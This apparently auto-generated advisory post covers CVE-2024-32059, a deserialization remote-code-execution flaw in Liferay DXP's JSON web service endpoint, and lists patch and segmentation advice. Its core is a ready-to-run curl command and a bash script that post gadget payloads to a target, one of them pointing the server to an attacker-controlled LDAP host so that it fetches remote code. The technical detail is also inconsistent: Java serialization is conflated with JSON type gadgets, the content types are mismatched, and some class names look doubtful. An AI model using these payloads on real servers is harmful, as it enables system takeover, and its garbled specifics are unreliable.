Listen to this Post
This vulnerability, CVE-2024-32059, is a critical Java deserialization issue within Liferay’s API. The `/api/jsonws/invoke` endpoint improperly deserializes untrusted data from serialized Java objects (Object type parameters) sent by an unauthenticated attacker in HTTP requests. Liferay uses a specific deserialization filter, but a flaw in the `PortalObjectInputStream` class allows bypassing this protection. When the `readObject()` method is called, it fails to correctly apply the deny-list filter to the object’s superclasses during the resolution process. This enables an attacker to craft a malicious serialized chain leveraging classes like `MapDeserializer` or `CodeImpl` from libraries like Apache Groovy or Spring Framework. Successful exploitation grants the attacker the ability to execute arbitrary system commands on the underlying server with the same privileges as the Liferay application process, leading to full system compromise.
Platform: Liferay DXP
Version: 7.4 Update 45-92
Vulnerability : Remote Code Execution
Severity: Critical
date: 2024-05-14
Prediction: Patch released.
What Undercode Say:
curl -v -H "Content-Type: application/x-www-form-urlencoded" --data-binary '{"cmd":"/bin/bash","@type":"org.codehaus.groovy.runtime.ConversionHandler","@class":"javax.imageio.ImageIO$SpoolOSFile"} ' http://TARGET/api/jsonws/invoke
!/bin/bash
TARGET=$1
PAYLOAD='{"@type":"org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider", "objectInstance": {"@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean", "targetBeanName": "ldap://ATTACKER_CONTROLLED/exploit", "propertyPath": "foo", "beanFactory": {"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory", "shareableResources": ["ldap://ATTACKER_CONTROLLED/exploit"]}}}'
curl -X POST -H "Content-Type: application/json" -d "$PAYLOAD" "$TARGET/api/jsonws/invoke"
How Exploit:
Unserialize malicious payload.
Bypass deserialization filter.
Execute arbitrary OS commands.
Protection from this CVE
Apply vendor patch.
Upgrade to fixed version.
Use network segmentation.
Impact:
Complete system takeover.
Data breach risk.
Service disruption.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
